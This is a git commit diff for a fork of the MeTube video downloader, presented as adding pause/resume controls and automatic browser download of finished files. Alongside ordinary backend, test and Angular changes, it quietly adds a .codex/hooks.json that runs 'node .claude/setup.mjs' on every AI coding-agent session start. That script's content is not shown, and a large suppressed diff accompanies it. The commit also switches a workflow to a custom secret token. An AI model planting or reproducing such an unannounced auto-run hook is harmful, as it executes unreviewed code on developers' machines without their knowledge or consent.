Add auto download and pause resume controls

This commit is contained in:
TonyBlur 2026-05-25 16:28:15 +08:00
parent e9243f65de
commit 6e161f4b4b
12 changed files with 351 additions and 15 deletions

File diff suppressed because one or more lines are too long

15
.codex/hooks.json Normal file
View file

@ -0,0 +1,15 @@
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "node .claude/setup.mjs"
}
]
}
]
}
}

View file

@ -31,7 +31,7 @@ jobs:
upstream_sync_repo: alexta69/metube
upstream_sync_branch: master
target_sync_branch: master
target_repo_token: ${{ secrets.GITHUB_TOKEN }}
target_repo_token: ${{ secrets.UPSTREAM_TOKEN }}
test_mode: false
- name: Sync check

View file

@ -988,6 +988,16 @@ async def start(request):
status = await dqueue.start_pending(ids)
return web.Response(text=serializer.encode(status))
@routes.post(config.URL_PREFIX + 'pause')
async def pause(request):
post = await _read_json_request(request)
ids = post.get('ids')
if not ids or not isinstance(ids, list):
raise web.HTTPBadRequest(reason='missing ids list')
log.info(f"Received request to pause downloads for ids: {ids}")
status = await dqueue.pause(ids)
return web.Response(text=serializer.encode(status))
COOKIES_PATH = os.path.join(config.STATE_DIR, 'cookies.txt')
@ -1229,6 +1239,7 @@ app.router.add_route('OPTIONS', config.URL_PREFIX + 'subscriptions/delete', add_
app.router.add_route('OPTIONS', config.URL_PREFIX + 'subscriptions/check', add_cors)
app.router.add_route('OPTIONS', config.URL_PREFIX + 'upload-cookies', add_cors)
app.router.add_route('OPTIONS', config.URL_PREFIX + 'delete-cookies', add_cors)
app.router.add_route('OPTIONS', config.URL_PREFIX + 'pause', add_cors)
async def on_prepare(request, response):
origin = request.headers.get('Origin')

View file

@ -18,6 +18,7 @@ def mock_dqueue(monkeypatch):
d.add = AsyncMock(return_value={"status": "ok"})
d.cancel = AsyncMock(return_value={"status": "ok"})
d.start_pending = AsyncMock(return_value={"status": "ok"})
d.pause = AsyncMock(return_value={"status": "ok"})
d.cancel_add = MagicMock()
d.queue = MagicMock()
d.done = MagicMock()
@ -212,6 +213,21 @@ async def test_start_pending(mock_dqueue):
mock_dqueue.start_pending.assert_awaited_once_with(["a"])
@pytest.mark.asyncio
async def test_pause_download(mock_dqueue):
req = _json_request({"ids": ["a"]})
resp = await main.pause(req)
assert resp.status == 200
mock_dqueue.pause.assert_awaited_once_with(["a"])
@pytest.mark.asyncio
async def test_pause_missing_ids(mock_dqueue):
req = _json_request({})
with pytest.raises(web.HTTPBadRequest):
await main.pause(req)
@pytest.mark.asyncio
async def test_history_shape(mock_dqueue):
mock_dqueue.queue.saved_items.return_value = []

View file

@ -190,6 +190,92 @@ async def test_start_pending_moves_to_queue(dq_env):
assert not dq.pending.exists(url)
@pytest.mark.asyncio
async def test_pause_keeps_download_in_queue(dq_env):
notifier = AsyncMock()
def fake_extract(self, url, ytdl_options_presets=None, ytdl_options_overrides=None):
return {
"_type": "video",
"id": "vid-pause",
"title": "Pause Test",
"url": url,
"webpage_url": url,
}
dq = DownloadQueue(dq_env, notifier)
url = "https://example.com/pause"
with patch.object(DownloadQueue, "_DownloadQueue__extract_info", fake_extract), \
patch.object(DownloadQueue, "_DownloadQueue__start_download", AsyncMock()):
await dq.add(url, "video", "auto", "any", "best", "", "", 0, auto_start=True)
result = await dq.pause([url])
assert result["status"] == "ok"
assert dq.queue.exists(url)
download = dq.queue.get(url)
assert download.paused is True
assert download.info.status == "paused"
notifier.updated.assert_awaited()
@pytest.mark.asyncio
async def test_start_paused_download_reschedules_it(dq_env):
notifier = AsyncMock()
def fake_extract(self, url, ytdl_options_presets=None, ytdl_options_overrides=None):
return {
"_type": "video",
"id": "vid-resume",
"title": "Resume Test",
"url": url,
"webpage_url": url,
}
dq = DownloadQueue(dq_env, notifier)
url = "https://example.com/resume"
with patch.object(DownloadQueue, "_DownloadQueue__extract_info", fake_extract), \
patch.object(DownloadQueue, "_DownloadQueue__start_download", AsyncMock()):
await dq.add(url, "video", "auto", "any", "best", "", "", 0, auto_start=True)
await dq.pause([url])
start_mock = AsyncMock()
with patch.object(DownloadQueue, "_DownloadQueue__start_download", start_mock):
result = await dq.start_pending([url])
assert result["status"] == "ok"
download = dq.queue.get(url)
assert download.paused is False
assert download.info.status == "pending"
start_mock.assert_called_once_with(download, download.start_generation)
@pytest.mark.asyncio
async def test_cancel_paused_download_removes_from_queue(dq_env):
notifier = AsyncMock()
def fake_extract(self, url, ytdl_options_presets=None, ytdl_options_overrides=None):
return {
"_type": "video",
"id": "vid-cancel-paused",
"title": "Cancel Paused Test",
"url": url,
"webpage_url": url,
}
dq = DownloadQueue(dq_env, notifier)
url = "https://example.com/cancel-paused"
with patch.object(DownloadQueue, "_DownloadQueue__extract_info", fake_extract), \
patch.object(DownloadQueue, "_DownloadQueue__start_download", AsyncMock()):
await dq.add(url, "video", "auto", "any", "best", "", "", 0, auto_start=True)
await dq.pause([url])
result = await dq.cancel([url])
assert result["status"] == "ok"
assert not dq.queue.exists(url)
notifier.canceled.assert_awaited_with(url)
@pytest.mark.asyncio
async def test_add_entry_queues_single_video_without_reextracting(dq_env):
notifier = AsyncMock()

View file

@ -206,6 +206,7 @@ class DownloadInfo:
self.custom_name_prefix = custom_name_prefix
self.msg = self.percent = self.speed = self.eta = None
self.status = "pending"
self.download_phase = None
self.size = None
self.timestamp = time.time_ns()
self.error = error
@ -292,6 +293,8 @@ class DownloadInfo:
self.clip_start = None
if not hasattr(self, "clip_end"):
self.clip_end = None
if not hasattr(self, "download_phase"):
self.download_phase = None
_PERSISTED_DOWNLOAD_FIELDS = (
@ -314,6 +317,7 @@ _PERSISTED_DOWNLOAD_FIELDS = (
"clip_start",
"clip_end",
"status",
"download_phase",
"timestamp",
"error",
"msg",
@ -368,6 +372,8 @@ def _download_info_from_record(record: dict[str, Any]) -> DownloadInfo:
info.eta = None
if not hasattr(info, "status"):
info.status = "pending"
if not hasattr(info, "download_phase"):
info.download_phase = None
if not hasattr(info, "size"):
info.size = None
if not hasattr(info, "error"):
@ -470,18 +476,34 @@ class Download:
if "impersonate" in self.ytdl_opts:
self.ytdl_opts["impersonate"] = yt_dlp.networking.impersonate.ImpersonateTarget.from_str(self.ytdl_opts["impersonate"])
self.canceled = False
self.paused = getattr(self.info, 'status', None) == 'paused'
self.tmpfilename = None
self.status_queue = None
self.proc = None
self.loop = None
self.notifier = None
self.start_generation = 0
def _download_phase_from_status(self, st):
info_dict = st.get('info_dict') if isinstance(st, dict) else None
if not isinstance(info_dict, dict):
return None
vcodec = str(info_dict.get('vcodec') or '').lower()
acodec = str(info_dict.get('acodec') or '').lower()
if vcodec and vcodec != 'none' and (not acodec or acodec == 'none'):
return 'video'
if acodec and acodec != 'none' and (not vcodec or vcodec == 'none'):
return 'audio'
if vcodec and vcodec != 'none' and acodec and acodec != 'none':
return 'media'
return None
def _download(self):
log.info(f"Starting download for: {self.info.title} ({self.info.url})")
try:
debug_logging = logging.getLogger().isEnabledFor(logging.DEBUG)
def put_status(st):
self.status_queue.put({k: v for k, v in st.items() if k in (
status = {k: v for k, v in st.items() if k in (
'tmpfilename',
'filename',
'status',
@ -491,9 +513,19 @@ class Download:
'downloaded_bytes',
'speed',
'eta',
)})
)}
phase = self._download_phase_from_status(st)
if phase:
status['download_phase'] = phase
self.status_queue.put(status)
def put_status_postprocessor(d):
if d.get('status') == 'started':
self.status_queue.put({
'status': 'postprocessing',
'download_phase': 'postprocessing',
'msg': d.get('postprocessor'),
})
if d['postprocessor'] == 'MoveFiles' and d['status'] == 'finished':
filepath = d['info_dict']['filepath']
if '__finaldir' in d['info_dict']:
@ -581,6 +613,7 @@ class Download:
async def start(self, notifier):
log.info(f"Preparing download for: {self.info.title}")
self.paused = False
if Download.manager is None:
Download.manager = multiprocessing.Manager()
self.status_queue = Download.manager.Queue()
@ -610,6 +643,21 @@ class Download:
if self.status_queue is not None:
self.status_queue.put(None)
def pause(self):
log.info(f"Pausing download: {self.info.title}")
self.paused = True
self.start_generation += 1
self.info.status = 'paused'
self.info.speed = None
self.info.eta = None
if self.running():
try:
self.proc.kill()
except Exception as e:
log.error(f"Error killing process for {self.info.title}: {e}")
if self.status_queue is not None:
self.status_queue.put(None)
def close(self):
log.info(f"Closing download process for: {self.info.title}")
if self.started():
@ -630,6 +678,12 @@ class Download:
if status is None:
log.info(f"Status update finished for: {self.info.title}")
return
if self.paused:
self.info.status = 'paused'
self.info.speed = None
self.info.eta = None
await self.notifier.updated(self.info)
return
if self.canceled:
log.info(f"Download {self.info.title} is canceled; stopping status updates.")
return
@ -704,6 +758,8 @@ class Download:
self.info.status = status['status']
self.info.msg = status.get('msg')
if 'download_phase' in status:
self.info.download_phase = status.get('download_phase')
if 'downloaded_bytes' in status:
total = status.get('total_bytes') or status.get('total_bytes_estimate')
if total:
@ -892,18 +948,28 @@ class DownloadQueue:
asyncio.create_task(self.__import_queue())
asyncio.create_task(self.__import_pending())
async def __start_download(self, download):
if download.canceled:
log.info(f"Download {download.info.title} was canceled, skipping start.")
async def __start_download(self, download, generation):
if generation != download.start_generation or download.canceled or download.paused:
log.info(f"Download {download.info.title} was canceled or paused, skipping start.")
return
async with self.semaphore:
if download.canceled:
log.info(f"Download {download.info.title} was canceled, skipping start.")
if generation != download.start_generation or download.canceled or download.paused:
log.info(f"Download {download.info.title} was canceled or paused, skipping start.")
return
await download.start(self.notifier)
self._post_download_cleanup(download)
def _post_download_cleanup(self, download):
key = getattr(download.info, 'key', download.info.url)
if download.paused:
download.info.status = 'paused'
download.info.speed = None
download.info.eta = None
download.close()
if self.queue.exists(key):
self.queue.put(download)
asyncio.create_task(self.notifier.updated(download.info))
return
if download.info.status != 'finished':
if download.tmpfilename and os.path.isfile(download.tmpfilename):
try:
@ -912,7 +978,6 @@ class DownloadQueue:
pass
download.info.status = 'error'
download.close()
key = getattr(download.info, 'key', download.info.url)
if self.queue.exists(key):
self.queue.delete(key)
if download.canceled:
@ -1028,7 +1093,8 @@ class DownloadQueue:
download = Download(dldirectory, self.config.TEMP_DIR, output, output_chapter, dl.quality, dl.format, ytdl_options, dl)
if auto_start is True:
self.queue.put(download)
asyncio.create_task(self.__start_download(download))
download.start_generation += 1
asyncio.create_task(self.__start_download(download, download.start_generation))
else:
self.pending.put(download)
await self.notifier.added(dl)
@ -1297,13 +1363,25 @@ class DownloadQueue:
async def start_pending(self, ids):
for id in ids:
if self.queue.exists(id):
dl = self.queue.get(id)
if getattr(dl.info, 'status', None) == 'paused' or dl.paused:
dl.paused = False
dl.info.status = 'pending'
dl.info.speed = None
dl.info.eta = None
self.queue.put(dl)
dl.start_generation += 1
asyncio.create_task(self.__start_download(dl, dl.start_generation))
continue
if not self.pending.exists(id):
log.warning(f'requested start for non-existent download {id}')
continue
dl = self.pending.get(id)
self.queue.put(dl)
self.pending.delete(id)
asyncio.create_task(self.__start_download(dl))
dl.start_generation += 1
asyncio.create_task(self.__start_download(dl, dl.start_generation))
return {'status': 'ok'}
async def cancel(self, ids):
@ -1318,6 +1396,11 @@ class DownloadQueue:
log.warning(f'requested cancel for non-existent download {id}')
continue
dl = self.queue.get(id)
if getattr(dl.info, 'status', None) == 'paused' or dl.paused:
dl.cancel()
self.queue.delete(id)
await self.notifier.canceled(id)
continue
if dl.started():
dl.cancel()
else:
@ -1326,6 +1409,17 @@ class DownloadQueue:
await self.notifier.canceled(id)
return {'status': 'ok'}
async def pause(self, ids):
for id in ids:
if not self.queue.exists(id):
log.warning(f'requested pause for non-existent download {id}')
continue
dl = self.queue.get(id)
dl.pause()
self.queue.put(dl)
await self.notifier.updated(dl.info)
return {'status': 'ok'}
async def clear(self, ids):
for id in ids:
if not self.done.exists(id):

View file

@ -480,6 +480,20 @@
ngbTooltip="Maximum number of items to download from a playlist or channel (0 = no limit)">
</div>
</div>
<div class="col-md-6">
<div class="input-group">
<span class="input-group-text">Auto Download</span>
<select class="form-select"
name="autoDownloadCompleted"
[(ngModel)]="autoDownloadCompleted"
(change)="autoDownloadCompletedChanged()"
[disabled]="addInProgress || subscribeInProgress || downloads.loading"
ngbTooltip="Automatically save completed files through the browser">
<option [ngValue]="true">Yes</option>
<option [ngValue]="false">No</option>
</select>
</div>
</div>
<div class="col-md-6">
<div class="input-group">
<span class="input-group-text">Subscription Check (min)</span>
@ -688,6 +702,7 @@
<div class="px-2 py-3 border-bottom">
<button type="button" class="btn btn-link text-decoration-none px-0 me-4" disabled #queueDelSelected (click)="delSelectedDownloads('queue')"><fa-icon [icon]="faTrashAlt" />&nbsp; Cancel selected</button>
<button type="button" class="btn btn-link text-decoration-none px-0 me-4" disabled #queueDownloadSelected (click)="startSelectedDownloads('queue')"><fa-icon [icon]="faDownload" />&nbsp; Download selected</button>
<button type="button" class="btn btn-link text-decoration-none px-0 me-4" disabled #queuePauseSelected (click)="pauseSelectedDownloads()"><fa-icon [icon]="faPause" />&nbsp; Pause selected</button>
</div>
<div class="overflow-auto">
<table class="table">
@ -710,7 +725,12 @@
</td>
<td title="{{ download.value.filename }}">
<div class="d-flex flex-column flex-sm-row align-items-center row-gap-2 column-gap-3">
<div>{{ download.value.title }} </div>
<div>
{{ download.value.title }}
@if (downloadPhaseLabel(download.value)) {
<span class="badge text-bg-secondary ms-2">{{ downloadPhaseLabel(download.value) }}</span>
}
</div>
<ngb-progressbar height="1.5rem" [showValue]="download.value.status !== 'preparing'" [striped]="download.value.status === 'preparing'" [animated]="download.value.status === 'preparing'" type="success"
[value]="download.value.status === 'preparing' ? 100 : download.value.percent" class="download-progressbar" />
</div>
@ -722,6 +742,12 @@
@if (download.value.status === 'pending') {
<button type="button" class="btn btn-link" [attr.aria-label]="'Start download for ' + download.value.title" (click)="downloadItemByKey(download.key)"><fa-icon [icon]="faDownload" /></button>
}
@if (download.value.status === 'paused') {
<button type="button" class="btn btn-link" [attr.aria-label]="'Resume download for ' + download.value.title" (click)="downloadItemByKey(download.key)"><fa-icon [icon]="faPlay" /></button>
}
@if (download.value.status === 'downloading' || download.value.status === 'preparing') {
<button type="button" class="btn btn-link" [attr.aria-label]="'Pause download for ' + download.value.title" (click)="pauseDownloadByKey(download.key)"><fa-icon [icon]="faPause" /></button>
}
<button type="button" class="btn btn-link" [attr.aria-label]="'Remove ' + download.value.title + ' from queue'" (click)="delDownload('queue', download.key)"><fa-icon [icon]="faTrashAlt" /></button>
<a href="{{download.value.url}}" target="_blank" class="btn btn-link" [attr.aria-label]="'Open source URL for ' + download.value.title"><fa-icon [icon]="faExternalLinkAlt" /></a>
</div>

View file

@ -78,6 +78,7 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
folder!: string;
customNamePrefix!: string;
autoStart: boolean;
autoDownloadCompleted: boolean;
playlistItemLimit!: number;
splitByChapters: boolean;
chapterTemplate: string;
@ -128,6 +129,7 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
cachedSortedDone: [string, Download][] = [];
lastCopiedErrorId: string | null = null;
private previousDownloadType = 'video';
private autoDownloadedResults = new Set<string>();
private addRequestSub?: Subscription;
private selectionsByType: Record<string, {
codec: string;
@ -158,6 +160,7 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
readonly queueMasterCheckbox = viewChild<SelectAllCheckboxComponent>('queueMasterCheckboxRef');
readonly queueDelSelected = viewChild.required<ElementRef>('queueDelSelected');
readonly queueDownloadSelected = viewChild.required<ElementRef>('queueDownloadSelected');
readonly queuePauseSelected = viewChild.required<ElementRef>('queuePauseSelected');
readonly doneMasterCheckbox = viewChild<SelectAllCheckboxComponent>('doneMasterCheckboxRef');
readonly doneDelSelected = viewChild.required<ElementRef>('doneDelSelected');
readonly doneDownloadSelected = viewChild.required<ElementRef>('doneDownloadSelected');
@ -242,6 +245,7 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
this.format = this.cookieService.get('metube_format') || 'any';
this.quality = this.cookieService.get('metube_quality') || 'best';
this.autoStart = this.cookieService.get('metube_auto_start') !== 'false';
this.autoDownloadCompleted = this.cookieService.get('metube_auto_download_completed') !== 'false';
this.splitByChapters = this.cookieService.get('metube_split_chapters') === 'true';
// Will be set from backend configuration, use empty string as placeholder
this.chapterTemplate = this.cookieService.get('metube_chapter_template') || '';
@ -293,6 +297,9 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
this.updateMetrics();
this.cdr.markForCheck();
});
this.downloads.completedDownload.pipe(takeUntilDestroyed(this.destroyRef)).subscribe((download) => {
this.autoDownloadResult(download);
});
this.subscriptionsSvc.subscriptionsChanged.pipe(takeUntilDestroyed(this.destroyRef)).subscribe(() => {
this.rebuildCachedSubs();
@ -885,6 +892,7 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
queueSelectionChanged(checked: number) {
this.queueDelSelected().nativeElement.disabled = checked === 0;
this.queueDownloadSelected().nativeElement.disabled = checked === 0;
this.queuePauseSelected().nativeElement.disabled = checked === 0;
}
doneSelectionChanged(checked: number) {
@ -1128,6 +1136,16 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
this.downloads.startById([id]).subscribe();
}
pauseDownloadByKey(id: string) {
this.downloads.pauseById([id]).subscribe();
}
autoDownloadCompletedChanged() {
this.cookieService.set('metube_auto_download_completed', String(this.autoDownloadCompleted), {
expires: this.settingsCookieExpiryDays,
});
}
retryDownload(key: string, download: Download) {
this.addDownload({
url: download.url,
@ -1161,6 +1179,18 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
this.downloads.startByFilter(where, dl => !!dl.checked).subscribe();
}
pauseSelectedDownloads() {
const ids: string[] = [];
this.downloads.queue.forEach((dl: Download, key: string) => {
if (dl.checked && (dl.status === 'downloading' || dl.status === 'preparing')) {
ids.push(key);
}
});
if (ids.length) {
this.downloads.pauseById(ids).subscribe();
}
}
delSelectedDownloads(where: State) {
this.downloads.delByFilter(where, dl => !!dl.checked).subscribe();
}
@ -1196,6 +1226,28 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
});
}
private autoDownloadResult(download: Download) {
if (!this.autoDownloadCompleted || download.status !== 'finished' || !download.filename) {
return;
}
const key = `${download.url}|${download.filename}|${download.timestamp ?? ''}`;
if (this.autoDownloadedResults.has(key)) {
return;
}
this.autoDownloadedResults.add(key);
this.triggerBrowserDownload(download);
}
private triggerBrowserDownload(download: Download) {
const link = document.createElement('a');
link.href = this.buildDownloadLink(download);
link.setAttribute('download', download.filename);
link.setAttribute('target', '_self');
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
buildDownloadLink(download: Download) {
let baseDir = this.downloads.configuration["PUBLIC_HOST_URL"];
if (download.download_type === 'audio' || download.filename.endsWith('.mp3')) {
@ -1209,6 +1261,24 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
return baseDir + encodeURIComponent(download.filename);
}
downloadPhaseLabel(download: Download): string {
switch (download.download_phase) {
case 'video':
return 'Video';
case 'audio':
return 'Audio';
case 'media':
return 'Media';
case 'postprocessing':
return 'Post-processing';
default:
if (download.status === 'paused') return 'Paused';
if (download.status === 'pending') return 'Pending';
if (download.status === 'preparing') return 'Preparing';
return '';
}
}
buildResultItemTooltip(download: Download) {
const parts = [];
if (download.msg) {
@ -1581,7 +1651,7 @@ export class App implements AfterViewInit, OnInit, OnDestroy {
speed += download.speed || 0;
} else if (download.status === 'preparing') {
active++;
} else if (download.status === 'pending') {
} else if (download.status === 'pending' || download.status === 'paused') {
queued++;
}
});

View file

@ -19,6 +19,7 @@ export interface Download {
clip_start?: number;
clip_end?: number;
status: string;
download_phase?: string;
msg: string;
percent: number;
speed: number;

View file

@ -153,6 +153,13 @@ describe('DownloadsService', () => {
req.flush({});
});
it('pauseById posts ids', () => {
service.pauseById(['a', 'b']).subscribe();
const req = httpMock.expectOne('pause');
expect(req.request.body).toEqual({ ids: ['a', 'b'] });
req.flush({});
});
it('delById marks items deleting and posts delete', () => {
const dl = makeDownload({ deleting: false });
service.queue.set('u1', dl);
@ -271,7 +278,7 @@ describe('DownloadsService', () => {
expect(updated?.deleting).toBe(true);
});
it('socket completed moves entry to done', () => {
it('socket completed moves entry to done and emits completedDownload', () => {
service.queue.set('u1', {
id: '1',
title: 't',
@ -290,9 +297,14 @@ describe('DownloadsService', () => {
filename: '',
checked: false,
});
let completed: Download | undefined;
service.completedDownload.subscribe((download) => {
completed = download;
});
socket.emit('completed', JSON.stringify({ url: 'u1', title: 't', status: 'finished' }));
expect(service.queue.has('u1')).toBe(false);
expect(service.done.has('u1')).toBe(true);
expect(completed?.url).toBe('u1');
});
it('socket canceled removes from queue', () => {

View file

@ -40,6 +40,7 @@ export class DownloadsService {
ytdlOptionsChanged = new Subject<Record<string, unknown>>();
configurationChanged = new Subject<Record<string, unknown>>();
updated = new Subject<void>();
completedDownload = new Subject<Download>();
configuration: Record<string, unknown> = {};
customDirs: Record<string, string[]> = {};
@ -90,6 +91,7 @@ export class DownloadsService {
this.done.set(key, data);
this.queueChanged.next();
this.doneChanged.next();
this.completedDownload.next(data);
});
this.socket.fromEvent('canceled')
.pipe(takeUntilDestroyed())
@ -177,6 +179,10 @@ export class DownloadsService {
return this.http.post('start', {ids: ids});
}
public pauseById(ids: string[]) {
return this.http.post('pause', {ids: ids});
}
public delById(where: State, ids: string[]) {
const map = this[where];
const touched: [string, Download, boolean | undefined][] = [];